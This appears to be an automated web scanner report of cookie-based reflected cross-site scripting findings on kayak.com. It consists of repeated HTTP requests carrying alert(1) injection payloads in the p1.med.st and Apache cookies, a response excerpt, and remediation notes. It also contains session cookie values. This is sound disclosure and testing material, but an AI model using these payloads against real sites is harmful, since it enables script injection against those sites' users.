GET / HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag2df21"-alert(1)-"94d4e606bb1; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations; p1.med.sc=4; p1.med.searched=true
The value of the p1.med.st cookie is copied into the HTML document as plain text between tags. The payload 9162d<script>alert(1)</script>3d105b42255 was submitted in the p1.med.st cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations9162d<script>alert(1)</script>3d105b42255; p1.med.sc=4; p1.med.searched=true
The value of the p1.med.st cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8c08"-alert(1)-"e0cbab93930 was submitted in the p1.med.st cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacationsb8c08"-alert(1)-"e0cbab93930; p1.med.sc=4; p1.med.searched=true
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved. ...[SNIP]... <script language="JavaScript" type="text/javascript"> var R9StartPage = new Date(); var isSuppressLogin = false; var StartTab = "vacationsb8c08"-alert(1)-"e0cbab93930"; CMP2REQUIREDEST=true; </script> ...[SNIP]...
The value of the p1.med.st cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35435"><script>alert(1)</script>353e383a699 was submitted in the p1.med.st cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET / HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations35435"><script>alert(1)</script>353e383a699; p1.med.sc=4; p1.med.searched=true
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15193"-alert(1)-"8a635bdf95d was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6e4a"-alert(1)-"df0c44caae1 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /flights HTTP/1.1 Host: www.kayak.com Proxy-Connection: keep-alive Referer: http://www.kayak.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3age6e4a"-alert(1)-"df0c44caae1; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6af16"-alert(1)-"277f96a28f1 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /hotels HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag6af16"-alert(1)-"277f96a28f1; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0ab3"-alert(1)-"5ad8ffd69dc was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /s/search/car HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3agc0ab3"-alert(1)-"5ad8ffd69dc; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b42a"-alert(1)-"35a6e94aba7 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /s/search/hotel HTTP/1.1 Host: www.kayak.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag1b42a"-alert(1)-"35a6e94aba7; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;
The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd5ba"-alert(1)-"1e460e5c6cf was submitted in the Apache cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.